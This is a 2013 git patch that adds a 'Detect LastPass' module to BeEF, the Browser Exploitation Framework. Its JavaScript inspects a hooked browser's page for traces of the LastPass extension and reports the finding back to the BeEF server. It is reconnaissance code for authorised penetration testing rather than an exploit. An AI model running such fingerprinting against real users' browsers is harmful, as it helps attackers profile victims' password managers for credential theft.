From 82a70fbcd04ade79a0fab17f290c3fdf57a5abb7 Mon Sep 17 00:00:00 2001
From: Christian Frichot <xntrik@gmail.com>
Date: Sat, 20 Jul 2013 13:58:20 +0800
Subject: [PATCH] Detect LastPass module (except on IE) - #802

---
 modules/browser/detect_lastpass/command.js  | 29 +++++++++++++++++++++
 modules/browser/detect_lastpass/config.yaml | 16 ++++++++++++
 modules/browser/detect_lastpass/module.rb   | 14 ++++++++++
 3 files changed, 59 insertions(+)
 create mode 100644 modules/browser/detect_lastpass/command.js
 create mode 100644 modules/browser/detect_lastpass/config.yaml
 create mode 100644 modules/browser/detect_lastpass/module.rb

diff --git a/modules/browser/detect_lastpass/command.js b/modules/browser/detect_lastpass/command.js
new file mode 100644
index 000000000..9486b9210
--- /dev/null
+++ b/modules/browser/detect_lastpass/command.js
@@ -0,0 +1,29 @@
+//
+// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+beef.execute(function() {
+	var result = "Not in use or not installed";
+
+	var lpdiv = document.getElementById('hiddenlpsubmitdiv');
+	if (typeof(lpdiv) != 'undefined' && lpdiv != null) {
+		//We've got the first detection of LP
+		result = "Detected LastPass through presence of the <script> tag with id=hiddenlpsubmitdiv";
+	} else if ($j("script:contains(lastpass_iter)").length > 0) {
+		//We've got the second detection of LP
+		result = "Detected LastPass through presense of the embedded <script> which includes references to lastpass_iter";
+	} else {
+
+		//Form is not there, lets check for any form elements in this page, because, LP won't activate at all without a <form>
+		if (document.getElementsByTagName("form").length == 0) {
+			//No forms
+			result = "The page doesn't seem to include any forms - we can't tell if LastPass is installed";
+		}
+		
+	}
+
+	beef.net.send("<%= @command_url %>", <%= @command_id %>, "lastpass="+result);
+});
+
diff --git a/modules/browser/detect_lastpass/config.yaml b/modules/browser/detect_lastpass/config.yaml
new file mode 100644
index 000000000..f3ccd28d8
--- /dev/null
+++ b/modules/browser/detect_lastpass/config.yaml
@@ -0,0 +1,16 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+beef:
+    module:
+        detect_lastpass:
+            enable: true
+            category: "Browser"
+            name: "Detect LastPass"
+            description: "This module checks if the LastPass extension is installed and active."
+            authors: ["xntrik"]
+            target:
+                 not_working: ["IE"]
+                 working: ["All"]
diff --git a/modules/browser/detect_lastpass/module.rb b/modules/browser/detect_lastpass/module.rb
new file mode 100644
index 000000000..6a331adfe
--- /dev/null
+++ b/modules/browser/detect_lastpass/module.rb
@@ -0,0 +1,14 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+class Detect_lastpass < BeEF::Core::Command
+
+	def post_execute 
+		content = {}
+		content['lastpass'] = @datastore['lastpass'] if not @datastore['lastpass'].nil?
+		save content
+	end
+
+end